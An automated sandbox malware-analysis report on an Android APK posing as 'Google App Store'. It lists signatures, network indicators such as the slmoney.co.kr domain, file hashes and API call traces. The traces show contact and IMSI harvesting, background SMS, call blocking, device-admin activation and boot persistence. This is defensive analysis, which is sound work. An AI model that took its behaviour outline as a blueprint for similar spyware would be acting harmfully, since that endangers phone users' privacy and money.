General Information |
|---|
| Analysis ID: | 1416 |
| Start time: | 11:06:57 |
| Start date: | 18/02/2014 |
| Overall analysis duration: | 0h 7m 16s |
| Report type: | full |
| Sample file name: | 0D28FA54F9C0D41801E8FB5A7B0433DD.apk |
| Cookbook file name: | default.jbs |
| Analysis system description: | Android 4.0 EEE PC |
| Warnings: |
|
Detection |
|---|
| Strategy | Report FP/FN | |
|---|---|---|
| Threshold | ||
Signature Overview |
|---|
Change of System Appearance: |
|---|
| Mutes phone vibration | Show sources | ||
| Mutes ringtone sound | Show sources | ||
Operating System Destruction: |
|---|
| Deletes other packages | Show sources | ||
Spam, unwanted Advertisements and Ransom Demands: |
|---|
| May perform phone calls in the background | Show sources | ||
| May send SMS in background | Show sources | ||
| May block phone calls / Accesses private ITelephony interface | Show sources | ||
| Sends SMS using SmsManager | Show sources | ||
Networking: |
|---|
| Urls found in memory or binary data | Show sources | ||
| Uses HTTP for connecting to the internet | Show sources | ||
| Checks an internet connection is available | Show sources | ||
| Opens an internet connection | Show sources | ||
| Performs DNS lookups | Show sources | ||
Boot Survival: |
|---|
| Executes code after phone reboot | Show sources | ||
| Starts a service on phone boot (autostart) | Show sources | ||
Stealing of Sensitive Information: |
|---|
| May spy personal data reading low-level logfiles | Show sources | ||
| Queries list of installed packages | Show sources | ||
| Monitors incoming Phone calls | Show sources | ||
| Monitors incoming SMS | Show sources | ||
| Queries phone contact information | Show sources | ||
| Reads the incoming call number | Show sources | ||
Persistence and Installation Behavior: |
|---|
| Sets an intent to the APK data type (used to install other APKs) | Show sources | ||
Data Obfuscation: |
|---|
| Uses reflection | Show sources | ||
Spreading: |
|---|
| Accesses external storage location | Show sources | ||
System Summary: |
|---|
| Requests potentially dangerous permissions | Show sources | ||
Virtual Machine Detection: |
|---|
| Accesses android OS build fields | Show sources | ||
Language, Device and Operating System Detection: |
|---|
| Queries the unqiue device ID (IMEI, MEID or ESN) | Show sources | ||
Screenshot |
|---|
Contacted Domains |
|---|
| Name | IP | Name Server | Active | Registrar | |
|---|---|---|---|---|---|
| www.slmoney.co.kr | unknown | unknown | unknown | unknown | unknown |
| pool.ntp.org | unknown | unknown | unknown | unknown | unknown |
Contacted IPs |
|---|
| IP | Country | Pingable | Open Ports |
|---|---|---|---|
| 8.8.8.8 | United States | unknown | unknown |
Static File Info |
|---|
| File type: | Zip archive data, at least v2.0 to extract |
| File name: | 0D28FA54F9C0D41801E8FB5A7B0433DD.apk |
| File size: | 230785 |
| MD5: | 0d28fa54f9c0d41801e8fb5a7b0433dd |
| SHA1: | 22f31813d98d8a65e7608f4377eb30bc221a4edd |
| SHA256: | 2528e2ba0049cfbcd9d7d1af81cd75aaebaa479482f3a8c97011540ee0b380bf |
| SHA512: | 39c74de6d2198292799a753fb5bba4114a373d02a65b41ed3b04cd032baf16f95a5e3d03addc3ba294cb186bf1f9675a68ac34b681fb6a735f8ebdfec0992236 |
Static APK Info |
|---|
| General | |
|---|---|
| Label: | Google App Store |
| Minium SDK required: | 8 |
| Target SDK required: | 14 |
| Version Code: | 2 |
| Version Name: | 2 |
| Package Name: | com.example.adt |
| Is Activity: | true |
| Is Receiver: | true |
| Is Service: | true |
| Requests System Level Permissions: | false |
| Play Store Compatible: | true |
| Activities |
|---|
| Name | Is Entrypoint |
|---|---|
| com.example.adtcom.example.adt.MainActivity | true |
| Receivers |
|---|
|
|
|
|
|
|
|
|
| Services |
|---|
|
| Permission Requested |
|---|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Certifcate |
|---|
| Name: | classes.dex |
| Issuer: | 1.2.840.113549.1.9.1=#1613616e64726f696440616e64726f69642e636f6d,CN=Android,OU=Android,O=Android,L=Mountain View,ST=California,C=US |
| Subject: | 1.2.840.113549.1.9.1=#1613616e64726f696440616e64726f69642e636f6d,CN=Android,OU=Android,O=Android,L=Mountain View,ST=California,C=US |
| Resources |
|---|
| Name | Type |
|---|---|
| AndroidManifest.xml | DBase 3 data file (8940 records) |
| assets/config.ini | ASCII text, with CRLF line terminators |
| res/drawable-mdpi/ic_launcher.png | PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced |
| META-INF/CERT.RSA | data |
| res/drawable-hdpi/hn.png | PNG image data, 72 x 72, 8-bit/color RGBA, non-interlaced |
| res/drawable-hdpi/nh.png | PNG image data, 72 x 72, 8-bit/color RGBA, non-interlaced |
| res/layout/activity_main.xml | DBase 3 data file (364 records) |
| META-INF/CERT.SF | ASCII text, with CRLF line terminators |
| res/drawable-xhdpi/ic_launcher.png | PNG image data, 96 x 96, 8-bit/color RGBA, non-interlaced |
| res/menu/activity_main.xml | DBase 3 data file (464 records) |
| res/drawable-hdpi/wr.png | PNG image data, 72 x 72, 8-bit/color RGBA, non-interlaced |
| META-INF/MANIFEST.MF | ASCII text, with CRLF line terminators |
| classes.dex | Dalvik dex file version 035 |
| res/drawable-hdpi/ic_launcher.png | PNG image data, 72 x 72, 8-bit/color RGBA, non-interlaced |
| resources.arsc | data |
| res/xml/lock_screen.xml | DBase 3 data file (392 records) |
| res/drawable-ldpi/ic_launcher.png | PNG image data, 36 x 36, 8-bit/color RGBA, non-interlaced |
| res/drawable-hdpi/sh.png | PNG image data, 72 x 72, 8-bit/color RGBA, non-interlaced |
Network Behavior |
|---|
| TCP Packets |
|---|
| Timestamp | Source Port | Dest Port | Source IP | Dest IP |
|---|---|---|---|---|
| Feb 18, 2014 11:07:41.722158909 CET | 25266 | 53 | 192.168.2.5 | 8.8.8.8 |
| Feb 18, 2014 11:07:41.722353935 CET | 24592 | 53 | 192.168.2.5 | 8.8.8.8 |
| Feb 18, 2014 11:07:41.722481012 CET | 24719 | 53 | 192.168.2.5 | 8.8.8.8 |
| Feb 18, 2014 11:07:41.722599983 CET | 24325 | 53 | 192.168.2.5 | 8.8.8.8 |
| Feb 18, 2014 11:07:41.722831964 CET | 24494 | 53 | 192.168.2.5 | 8.8.8.8 |
| Feb 18, 2014 11:07:41.722970963 CET | 24409 | 53 | 192.168.2.5 | 8.8.8.8 |
| Feb 18, 2014 11:07:41.723095894 CET | 23773 | 53 | 192.168.2.5 | 8.8.8.8 |
| Feb 18, 2014 11:07:46.729012012 CET | 23773 | 53 | 192.168.2.5 | 8.8.8.8 |
| Feb 18, 2014 11:08:14.850508928 CET | 11505 | 53 | 192.168.2.5 | 8.8.8.8 |
| Feb 18, 2014 11:08:14.850661993 CET | 11042 | 53 | 192.168.2.5 | 8.8.8.8 |
| Feb 18, 2014 11:08:14.850780964 CET | 11167 | 53 | 192.168.2.5 | 8.8.8.8 |
| Feb 18, 2014 11:08:14.850892067 CET | 10765 | 53 | 192.168.2.5 | 8.8.8.8 |
| Feb 18, 2014 11:08:14.851131916 CET | 11429 | 53 | 192.168.2.5 | 8.8.8.8 |
| Feb 18, 2014 11:08:14.851249933 CET | 11326 | 53 | 192.168.2.5 | 8.8.8.8 |
| Feb 18, 2014 11:08:14.851404905 CET | 11654 | 53 | 192.168.2.5 | 8.8.8.8 |
| Feb 18, 2014 11:13:59.260426044 CET | 13010 | 53 | 192.168.2.5 | 8.8.8.8 |
| Feb 18, 2014 11:13:59.260622025 CET | 13273 | 53 | 192.168.2.5 | 8.8.8.8 |
| Feb 18, 2014 11:13:59.260744095 CET | 9307 | 53 | 192.168.2.5 | 8.8.8.8 |
| Feb 18, 2014 11:13:59.260859013 CET | 9386 | 53 | 192.168.2.5 | 8.8.8.8 |
| Feb 18, 2014 11:13:59.261113882 CET | 9283 | 53 | 192.168.2.5 | 8.8.8.8 |
| Feb 18, 2014 11:13:59.261275053 CET | 10147 | 53 | 192.168.2.5 | 8.8.8.8 |
| Feb 18, 2014 11:13:59.261398077 CET | 10029 | 53 | 192.168.2.5 | 8.8.8.8 |
| UDP Packets |
|---|
| Timestamp | Source Port | Dest Port | Source IP | Dest IP |
|---|---|---|---|---|
| Feb 18, 2014 11:07:41.722158909 CET | 25266 | 53 | 192.168.2.5 | 8.8.8.8 |
| Feb 18, 2014 11:07:41.722353935 CET | 24592 | 53 | 192.168.2.5 | 8.8.8.8 |
| Feb 18, 2014 11:07:41.722481012 CET | 24719 | 53 | 192.168.2.5 | 8.8.8.8 |
| Feb 18, 2014 11:07:41.722599983 CET | 24325 | 53 | 192.168.2.5 | 8.8.8.8 |
| Feb 18, 2014 11:07:41.722831964 CET | 24494 | 53 | 192.168.2.5 | 8.8.8.8 |
| Feb 18, 2014 11:07:41.722970963 CET | 24409 | 53 | 192.168.2.5 | 8.8.8.8 |
| Feb 18, 2014 11:07:41.723095894 CET | 23773 | 53 | 192.168.2.5 | 8.8.8.8 |
| Feb 18, 2014 11:07:46.729012012 CET | 23773 | 53 | 192.168.2.5 | 8.8.8.8 |
| Feb 18, 2014 11:08:14.850508928 CET | 11505 | 53 | 192.168.2.5 | 8.8.8.8 |
| Feb 18, 2014 11:08:14.850661993 CET | 11042 | 53 | 192.168.2.5 | 8.8.8.8 |
| Feb 18, 2014 11:08:14.850780964 CET | 11167 | 53 | 192.168.2.5 | 8.8.8.8 |
| Feb 18, 2014 11:08:14.850892067 CET | 10765 | 53 | 192.168.2.5 | 8.8.8.8 |
| Feb 18, 2014 11:08:14.851131916 CET | 11429 | 53 | 192.168.2.5 | 8.8.8.8 |
| Feb 18, 2014 11:08:14.851249933 CET | 11326 | 53 | 192.168.2.5 | 8.8.8.8 |
| Feb 18, 2014 11:08:14.851404905 CET | 11654 | 53 | 192.168.2.5 | 8.8.8.8 |
| Feb 18, 2014 11:13:59.260426044 CET | 13010 | 53 | 192.168.2.5 | 8.8.8.8 |
| Feb 18, 2014 11:13:59.260622025 CET | 13273 | 53 | 192.168.2.5 | 8.8.8.8 |
| Feb 18, 2014 11:13:59.260744095 CET | 9307 | 53 | 192.168.2.5 | 8.8.8.8 |
| Feb 18, 2014 11:13:59.260859013 CET | 9386 | 53 | 192.168.2.5 | 8.8.8.8 |
| Feb 18, 2014 11:13:59.261113882 CET | 9283 | 53 | 192.168.2.5 | 8.8.8.8 |
| Feb 18, 2014 11:13:59.261275053 CET | 10147 | 53 | 192.168.2.5 | 8.8.8.8 |
| Feb 18, 2014 11:13:59.261398077 CET | 10029 | 53 | 192.168.2.5 | 8.8.8.8 |
| ICMP Packets |
|---|
| Timestamp | Source IP | Dest IP | Checksum | Code | Type |
|---|---|---|---|---|---|
| Feb 18, 2014 11:07:41.722208023 CET | 8.8.8.8 | 192.168.2.5 | cff1 | (Port unreachable) | Destination Unreachable |
| Feb 18, 2014 11:07:41.722366095 CET | 8.8.8.8 | 192.168.2.5 | cff1 | (Port unreachable) | Destination Unreachable |
| Feb 18, 2014 11:07:41.722492933 CET | 8.8.8.8 | 192.168.2.5 | cff1 | (Port unreachable) | Destination Unreachable |
| Feb 18, 2014 11:07:41.722610950 CET | 8.8.8.8 | 192.168.2.5 | cff1 | (Port unreachable) | Destination Unreachable |
| Feb 18, 2014 11:07:41.722845078 CET | 8.8.8.8 | 192.168.2.5 | cff1 | (Port unreachable) | Destination Unreachable |
| Feb 18, 2014 11:07:41.722981930 CET | 8.8.8.8 | 192.168.2.5 | cff1 | (Port unreachable) | Destination Unreachable |
| Feb 18, 2014 11:07:46.729048014 CET | 8.8.8.8 | 192.168.2.5 | cff1 | (Port unreachable) | Destination Unreachable |
| Feb 18, 2014 11:08:14.850543022 CET | 8.8.8.8 | 192.168.2.5 | cff6 | (Port unreachable) | Destination Unreachable |
| Feb 18, 2014 11:08:14.850673914 CET | 8.8.8.8 | 192.168.2.5 | cff6 | (Port unreachable) | Destination Unreachable |
| Feb 18, 2014 11:08:14.850792885 CET | 8.8.8.8 | 192.168.2.5 | cff6 | (Port unreachable) | Destination Unreachable |
| Feb 18, 2014 11:08:14.850903034 CET | 8.8.8.8 | 192.168.2.5 | cff6 | (Port unreachable) | Destination Unreachable |
| Feb 18, 2014 11:08:14.851145029 CET | 8.8.8.8 | 192.168.2.5 | cff6 | (Port unreachable) | Destination Unreachable |
| Feb 18, 2014 11:08:14.851263046 CET | 8.8.8.8 | 192.168.2.5 | cff6 | (Port unreachable) | Destination Unreachable |
| Feb 18, 2014 11:13:59.260477066 CET | 8.8.8.8 | 192.168.2.5 | cff1 | (Port unreachable) | Destination Unreachable |
| Feb 18, 2014 11:13:59.260634899 CET | 8.8.8.8 | 192.168.2.5 | cff1 | (Port unreachable) | Destination Unreachable |
| Feb 18, 2014 11:13:59.260755062 CET | 8.8.8.8 | 192.168.2.5 | cff1 | (Port unreachable) | Destination Unreachable |
| Feb 18, 2014 11:13:59.260869980 CET | 8.8.8.8 | 192.168.2.5 | cff1 | (Port unreachable) | Destination Unreachable |
| Feb 18, 2014 11:13:59.261126995 CET | 8.8.8.8 | 192.168.2.5 | cff1 | (Port unreachable) | Destination Unreachable |
| Feb 18, 2014 11:13:59.261287928 CET | 8.8.8.8 | 192.168.2.5 | cff1 | (Port unreachable) | Destination Unreachable |
| DNS Queries |
|---|
| Timestamp | Source IP | Dest IP | Trans ID | OP Code | Name | Type | Class |
|---|---|---|---|---|---|---|---|
| Feb 18, 2014 11:07:41.722158909 CET | 192.168.2.5 | 8.8.8.8 | 0x5eae | Standard query (0) | pool.ntp.org | A (IP address) | IN (0x0001) |
| Feb 18, 2014 11:07:41.722353935 CET | 192.168.2.5 | 8.8.8.8 | 0x5eae | Standard query (0) | pool.ntp.org | A (IP address) | IN (0x0001) |
| Feb 18, 2014 11:07:41.722481012 CET | 192.168.2.5 | 8.8.8.8 | 0x5c80 | Standard query (0) | pool.ntp.org | A (IP address) | IN (0x0001) |
| Feb 18, 2014 11:07:41.722599983 CET | 192.168.2.5 | 8.8.8.8 | 0x5c80 | Standard query (0) | pool.ntp.org | A (IP address) | IN (0x0001) |
| Feb 18, 2014 11:07:41.722831964 CET | 192.168.2.5 | 8.8.8.8 | 0x5ba2 | Standard query (0) | pool.ntp.org | A (IP address) | IN (0x0001) |
| Feb 18, 2014 11:07:41.722970963 CET | 192.168.2.5 | 8.8.8.8 | 0x5ba2 | Standard query (0) | pool.ntp.org | A (IP address) | IN (0x0001) |
| Feb 18, 2014 11:07:41.723095894 CET | 192.168.2.5 | 8.8.8.8 | 0x58d3 | Standard query (0) | pool.ntp.org | A (IP address) | IN (0x0001) |
| Feb 18, 2014 11:07:46.729012012 CET | 192.168.2.5 | 8.8.8.8 | 0x58d3 | Standard query (0) | pool.ntp.org | A (IP address) | IN (0x0001) |
| Feb 18, 2014 11:08:14.850508928 CET | 192.168.2.5 | 8.8.8.8 | 0x28ef | Standard query (0) | www.slmoney.co.kr | A (IP address) | IN (0x0001) |
| Feb 18, 2014 11:08:14.850661993 CET | 192.168.2.5 | 8.8.8.8 | 0x28ef | Standard query (0) | www.slmoney.co.kr | A (IP address) | IN (0x0001) |
| Feb 18, 2014 11:08:14.850780964 CET | 192.168.2.5 | 8.8.8.8 | 0x2790 | Standard query (0) | www.slmoney.co.kr | A (IP address) | IN (0x0001) |
| Feb 18, 2014 11:08:14.850892067 CET | 192.168.2.5 | 8.8.8.8 | 0x2790 | Standard query (0) | www.slmoney.co.kr | A (IP address) | IN (0x0001) |
| Feb 18, 2014 11:08:14.851131916 CET | 192.168.2.5 | 8.8.8.8 | 0x28b5 | Standard query (0) | www.slmoney.co.kr | A (IP address) | IN (0x0001) |
| Feb 18, 2014 11:08:14.851249933 CET | 192.168.2.5 | 8.8.8.8 | 0x28b5 | Standard query (0) | www.slmoney.co.kr | A (IP address) | IN (0x0001) |
| Feb 18, 2014 11:08:14.851404905 CET | 192.168.2.5 | 8.8.8.8 | 0x2998 | Standard query (0) | www.slmoney.co.kr | A (IP address) | IN (0x0001) |
| Feb 18, 2014 11:13:59.260426044 CET | 192.168.2.5 | 8.8.8.8 | 0x2ea1 | Standard query (0) | pool.ntp.org | A (IP address) | IN (0x0001) |
| Feb 18, 2014 11:13:59.260622025 CET | 192.168.2.5 | 8.8.8.8 | 0x2ea1 | Standard query (0) | pool.ntp.org | A (IP address) | IN (0x0001) |
| Feb 18, 2014 11:13:59.260744095 CET | 192.168.2.5 | 8.8.8.8 | 0x2020 | Standard query (0) | pool.ntp.org | A (IP address) | IN (0x0001) |
| Feb 18, 2014 11:13:59.260859013 CET | 192.168.2.5 | 8.8.8.8 | 0x2020 | Standard query (0) | pool.ntp.org | A (IP address) | IN (0x0001) |
| Feb 18, 2014 11:13:59.261113882 CET | 192.168.2.5 | 8.8.8.8 | 0x2075 | Standard query (0) | pool.ntp.org | A (IP address) | IN (0x0001) |
| Feb 18, 2014 11:13:59.261275053 CET | 192.168.2.5 | 8.8.8.8 | 0x2075 | Standard query (0) | pool.ntp.org | A (IP address) | IN (0x0001) |
| Feb 18, 2014 11:13:59.261398077 CET | 192.168.2.5 | 8.8.8.8 | 0x2356 | Standard query (0) | pool.ntp.org | A (IP address) | IN (0x0001) |
APK Behavior |
|---|
| Installation Messages |
|---|
| Name | Is Error |
|---|---|
| Running dexopt on: com.example.adt; New package installed in /data/app/com.example.adt-1.apk; Not granting permission android.permission.MODIFY_PHONE_STATE to package com.example.adt (protectionLevel=3 flags=0x8be46); generateServicesMap(android.accounts.AccountAuthenticator): 3 services unchanged; generateServicesMap(android.content.SyncAdapter): 14 services unchanged | false |
| Started Services |
|---|
| Registered Receivers |
|---|
|
|
| Simulated Events |
|---|
| Type | Data |
|---|---|
| boot completed |
|
| time tick |
|
| incoming sms |
|
| outgoing sms |
|
| location change |
|
| incoming call |
|
| outgoing call |
|
| time tick |
|
| API: java.net.URL->openConnection at com.example.adt.Connect.getHttpConnection:13 | Show source |
|---|
| Name | Type | Value |
|---|---|---|
| Return Value | libcore.net.http.HttpURLConnectionImpl |
|
| API: android.content.ContentResolver->query at com.example.adt.Contact.getPhoneContacts:17 | Show source |
|---|
| Name | Type | Value |
|---|---|---|
| p0 | android.net.Uri$HierarchicalUri |
|
| p1 | [Ljava.lang.String; |
|
| p2 | null |
|
| p3 | null |
|
| p4 | null |
|
| Name | Type | Value |
|---|---|---|
| Return Value | android.content.ContentResolver$CursorWrapperInner |
|
| API: android.telephony.TelephonyManager->getLine1Number at com.example.adt.Config.getPhoneNumber:9 | Show source |
|---|
| Name | Type | Value |
|---|---|---|
| Return Value | java.lang.String |
|
| API: android.telephony.TelephonyManager->getSubscriberId at com.example.adt.Config.getIMSI:9 | Show source |
|---|
| Name | Type | Value |
|---|---|---|
| Return Value | java.lang.String |
|
| API: android.net.ConnectivityManager->getActiveNetworkInfo at com.example.adt.Config.isNetworkConnected:10 | Show source |
|---|
| API: android.net.ConnectivityManager->getActiveNetworkInfo at com.example.adt.Config.getAPNType:15 | Show source |
|---|
| API: android.net.ConnectivityManager->getActiveNetworkInfo at com.example.adt.CoreService.NetWorkStatus:9 | Show source |
|---|
| API: android.content.pm.PackageManager->setComponentEnabledSetting at ..:10 | Show source |
|---|
| API: android.content.pm.PackageManager->setComponentEnabledSetting at ..:16 | Show source |
|---|
| API: java.net.URL->openConnection at com.example.adt.HttpDownloader.download:14 | Show source |
|---|
| API: java.net.URL->openConnection at com.example.adt.DownLoad.downloadFile:8 | Show source |
|---|
| API: java.net.URL->openConnection at com.example.adt.DownLoad.downLoadFile:61 | Show source |
|---|
| API: java.net.URL->openConnection at com.example.adt.HttpDownloader.getInputStreamFromURL:11 | Show source |
|---|
| API: org.apache.http.impl.client.DefaultHttpClient-><init> at com.example.adt.Connect.postHttpConnection:43 | Show source |
|---|
| API: android.telephony.SmsManager->sendTextMessage at com.example.adt.SMS.sendData:51 | Show source |
|---|
| API: android.app.NotificationManager->notify at com.example.adt.CoreService.showNofity:42 | Show source |
|---|
| API: com.example.adt.MainActivity->getSystemService at com.example.adt.Config.getPhoneNumber:5 | Show source |
|---|
| Name | Type | Value |
|---|---|---|
| name | java.lang.String |
|
| Name | Type | Value |
|---|---|---|
| Return Value | android.telephony.TelephonyManager |
|
| API: android.telephony.TelephonyManager->getLine1Number at com.example.adt.Config.getPhoneNumber:9 | Show source |
|---|
| Name | Type | Value |
|---|---|---|
| Return Value | java.lang.String |
|
| API: com.example.adt.CoreService->getSystemService at com.example.adt.Config.getIMSI:5 | Show source |
|---|
| Name | Type | Value |
|---|---|---|
| p0 | java.lang.String |
|
| Name | Type | Value |
|---|---|---|
| Return Value | android.telephony.TelephonyManager |
|
| API: android.telephony.TelephonyManager->getSubscriberId at com.example.adt.Config.getIMSI:9 | Show source |
|---|
| Name | Type | Value |
|---|---|---|
| Return Value | java.lang.String |
|
| API: android.app.SharedPreferencesImpl->getString at com.example.adt.Config.get:11 | Show source |
|---|
| Name | Type | Value |
|---|---|---|
| p0 | java.lang.String |
|
| p1 | java.lang.String |
|
| Name | Type | Value |
|---|---|---|
| Return Value | java.lang.String |
|
| API: com.example.adt.CoreService->getSystemService at com.example.adt.Config.getPhoneNumber:5 | Show source |
|---|
| Name | Type | Value |
|---|---|---|
| p0 | java.lang.String |
|
| Name | Type | Value |
|---|---|---|
| Return Value | android.telephony.TelephonyManager |
|
| API: android.telephony.TelephonyManager->getLine1Number at com.example.adt.Config.getPhoneNumber:9 | Show source |
|---|
| Name | Type | Value |
|---|---|---|
| Return Value | java.lang.String |
|
| API: com.example.adt.CoreService->getSystemService at com.example.adt.Config.getPhoneNumber:5 | Show source |
|---|
| Name | Type | Value |
|---|---|---|
| p0 | java.lang.String |
|
| Name | Type | Value |
|---|---|---|
| Return Value | android.telephony.TelephonyManager |
|
| API: com.example.adt.CoreService->getSystemService at com.example.adt.Config.getIMSI:5 | Show source |
|---|
| Name | Type | Value |
|---|---|---|
| p0 | java.lang.String |
|
| Name | Type | Value |
|---|---|---|
| Return Value | android.telephony.TelephonyManager |
|
| API: android.telephony.TelephonyManager->getSubscriberId at com.example.adt.Config.getIMSI:9 | Show source |
|---|
| Name | Type | Value |
|---|---|---|
| Return Value | java.lang.String |
|
| API: android.app.SharedPreferencesImpl->getString at com.example.adt.Config.get:11 | Show source |
|---|
| Name | Type | Value |
|---|---|---|
| p0 | java.lang.String |
|
| p1 | java.lang.String |
|
| Name | Type | Value |
|---|---|---|
| Return Value | java.lang.String |
|
| API: com.example.adt.CoreService->getSystemService at com.example.adt.Config.getPhoneNumber:5 | Show source |
|---|
| Name | Type | Value |
|---|---|---|
| p0 | java.lang.String |
|
| Name | Type | Value |
|---|---|---|
| Return Value | android.telephony.TelephonyManager |
|
| API: android.telephony.TelephonyManager->getLine1Number at com.example.adt.Config.getPhoneNumber:9 | Show source |
|---|
| Name | Type | Value |
|---|---|---|
| Return Value | java.lang.String |
|
| API: com.example.adt.CoreService->getSystemService at com.example.adt.Config.getPhoneNumber:5 | Show source |
|---|
| Name | Type | Value |
|---|---|---|
| p0 | java.lang.String |
|
| Name | Type | Value |
|---|---|---|
| Return Value | android.telephony.TelephonyManager |
|
| API: com.example.adt.CoreService->getSystemService at com.example.adt.Config.getIMSI:5 | Show source |
|---|
| Name | Type | Value |
|---|---|---|
| p0 | java.lang.String |
|
| Name | Type | Value |
|---|---|---|
| Return Value | android.telephony.TelephonyManager |
|
| API: android.telephony.TelephonyManager->getLine1Number at com.example.adt.Config.getPhoneNumber:9 | Show source |
|---|
| Name | Type | Value |
|---|---|---|
| Return Value | java.lang.String |
|
| API: java.net.URL-><init> at com.example.adt.Connect.getHttpConnection:9 | Show source |
|---|
| Name | Type | Value |
|---|---|---|
| p0 | java.lang.String |
|
| Name | Type | Value |
|---|---|---|
| Return Value | java.net.URL |
|
| API: java.net.URL-><init> at com.example.adt.Connect.getHttpConnection:9 | Show source |
|---|
| Name | Type | Value |
|---|---|---|
| p0 | java.lang.String |
|
| Name | Type | Value |
|---|---|---|
| Return Value | java.net.URL |
|
| API: java.net.URL->openConnection at com.example.adt.Connect.getHttpConnection:13 | Show source |
|---|
| Name | Type | Value |
|---|---|---|
| Return Value | libcore.net.http.HttpURLConnectionImpl |
|
| API: android.content.ContentResolver->query at com.example.adt.Contact.getPhoneContacts:17 | Show source |
|---|
| Name | Type | Value |
|---|---|---|
| p0 | android.net.Uri$HierarchicalUri |
|
| p1 | [Ljava.lang.String; |
|
| p2 | null |
|
| p3 | null |
|
| p4 | null |
|
| Name | Type | Value |
|---|---|---|
| Return Value | android.content.ContentResolver$CursorWrapperInner |
|
| API: android.content.ContentResolver->query at com.example.adt.Contact.getPhoneContacts:17 | Show source |
|---|
| Name | Type | Value |
|---|---|---|
| p0 | android.net.Uri$HierarchicalUri |
|
| p1 | [Ljava.lang.String; |
|
| p2 | null |
|
| p3 | null |
|
| p4 | null |
|
| Name | Type | Value |
|---|---|---|
| Return Value | android.content.ContentResolver$CursorWrapperInner |
|
| API: android.content.ContentResolver->query at com.example.adt.Contact.getPhoneContacts:17 | Show source |
|---|
| Name | Type | Value |
|---|---|---|
| p0 | android.net.Uri$HierarchicalUri |
|
| p1 | [Ljava.lang.String; |
|
| p2 | null |
|
| p3 | null |
|
| p4 | null |
|
| Name | Type | Value |
|---|---|---|
| Return Value | android.content.ContentResolver$CursorWrapperInner |
|
| API: java.net.URLEncoder->encode at com.example.adt.Contact$1.run:6 | Show source |
|---|
| Name | Type | Value |
|---|---|---|
| p0 | java.lang.String |
|
| Name | Type | Value |
|---|---|---|
| Return Value | null |
|
| API: java.net.URLEncoder->encode at com.example.adt.Contact$1.run:6 | Show source |
|---|
| Name | Type | Value |
|---|---|---|
| p0 | java.lang.String |
|
| Name | Type | Value |
|---|---|---|
| Return Value | null |
|
| API: java.net.URLEncoder->encode at com.example.adt.Contact$1.run:6 | Show source |
|---|
| Name | Type | Value |
|---|---|---|
| p0 | java.lang.String |
|
| Name | Type | Value |
|---|---|---|
| Return Value | null |
|
| API: com.example.adt.CoreService->registerReceiver at com.example.adt.CoreService.onCreate:99 | Show source |
|---|
| Name | Type | Value |
|---|---|---|
| p0 | com.example.adt.CoreService$MyBroadcastReciver |
|
| p1 | android.content.IntentFilter |
|
| Name | Type | Value |
|---|---|---|
| Return Value | null |
|
| API: com.example.adt.CoreService->registerReceiver at com.example.adt.CoreService.onCreate:99 | Show source |
|---|
| Name | Type | Value |
|---|---|---|
| p0 | com.example.adt.CoreService$MyBroadcastReciver |
|
| p1 | android.content.IntentFilter |
|
| Name | Type | Value |
|---|---|---|
| Return Value | null |
|
| API: android.app.Activity->requestWindowFeature at com.example.adt.MainActivity.onCreate:6 | Show source |
|---|
| Name | Type | Value |
|---|---|---|
| featureId | java.lang.Integer |
|
| Name | Type | Value |
|---|---|---|
| Return Value | android.util.AndroidRuntimeException |
|
| API: com.example.adt.MainActivity->getSystemService at com.example.adt.MainActivity.onCreate:18 | Show source |
|---|
| Name | Type | Value |
|---|---|---|
| name | java.lang.String |
|
| Name | Type | Value |
|---|---|---|
| Return Value | android.app.admin.DevicePolicyManager |
|
| API: android.app.admin.DevicePolicyManager->isAdminActive at com.example.adt.MainActivity.onCreate:32 | Show source |
|---|
| Name | Type | Value |
|---|---|---|
| who | android.content.ComponentName |
|
| Name | Type | Value |
|---|---|---|
| Return Value | java.lang.Boolean |
|
| API: android.content.Intent->putExtra at com.example.adt.MainActivity.activeManager:11 | Show source |
|---|
| Name | Type | Value |
|---|---|---|
| p0 | java.lang.String |
|
| p1 | android.content.ComponentName |
|
| Name | Type | Value |
|---|---|---|
| Return Value | android.content.Intent |
|
| API: android.content.Intent->putExtra at com.example.adt.MainActivity.activeManager:17 | Show source |
|---|
| Name | Type | Value |
|---|---|---|
| p0 | java.lang.String |
|
| p1 | java.lang.String |
|
| Name | Type | Value |
|---|---|---|
| Return Value | android.content.Intent |
|
| API: com.example.adt.MainActivity->startActivity at com.example.adt.MainActivity.activeManager:19 | Show source |
|---|
| Name | Type | Value |
|---|---|---|
| intent | android.content.Intent |
|
| API: com.example.adt.MainActivity->startService at com.example.adt.MainActivity.onCreate:44 | Show source |
|---|
| Name | Type | Value |
|---|---|---|
| p0 | android.content.Intent |
|
| Name | Type | Value |
|---|---|---|
| Return Value | android.content.ComponentName |
|
| API: android.os.IBinder->queryLocalInterface at com.android.internal.telephony.ITelephony$Stub.asInterface:8 | Show source |
|---|
| API: android.os.Binder-><init> at com.android.internal.telephony.ITelephony$Stub.<init>:2 | Show source |
|---|
| API: com.android.internal.telephony.ITelephony$Stub->attachInterface at com.android.internal.telephony.ITelephony$Stub.<init>:6 | Show source |
|---|
| API: android.os.Binder->onTransact at com.android.internal.telephony.ITelephony$Stub.onTransact:13 | Show source |
|---|
| API: android.os.Parcel->writeString at com.android.internal.telephony.ITelephony$Stub.onTransact:19 | Show source |
|---|
| API: android.os.Parcel->enforceInterface at com.android.internal.telephony.ITelephony$Stub.onTransact:24 | Show source |
|---|
| API: com.android.internal.telephony.ITelephony$Stub->endCall at com.android.internal.telephony.ITelephony$Stub.onTransact:26 | Show source |
|---|
| API: android.os.Parcel->writeNoException at com.android.internal.telephony.ITelephony$Stub.onTransact:29 | Show source |
|---|
| API: android.os.Parcel->writeInt at com.android.internal.telephony.ITelephony$Stub.onTransact:33 | Show source |
|---|
| API: android.os.Parcel->enforceInterface at com.android.internal.telephony.ITelephony$Stub.onTransact:40 | Show source |
|---|
| API: com.android.internal.telephony.ITelephony$Stub->answerRingingCall at com.android.internal.telephony.ITelephony$Stub.onTransact:42 | Show source |
|---|
| API: android.os.Parcel->writeNoException at com.android.internal.telephony.ITelephony$Stub.onTransact:44 | Show source |
|---|
| API: android.os.Parcel->obtain at com.android.internal.telephony.ITelephony$Stub$Proxy.answerRingingCall:7 | Show source |
|---|
| API: android.os.Parcel->obtain at com.android.internal.telephony.ITelephony$Stub$Proxy.answerRingingCall:10 | Show source |
|---|
| API: android.os.Parcel->writeInterfaceToken at com.android.internal.telephony.ITelephony$Stub$Proxy.answerRingingCall:15 | Show source |
|---|
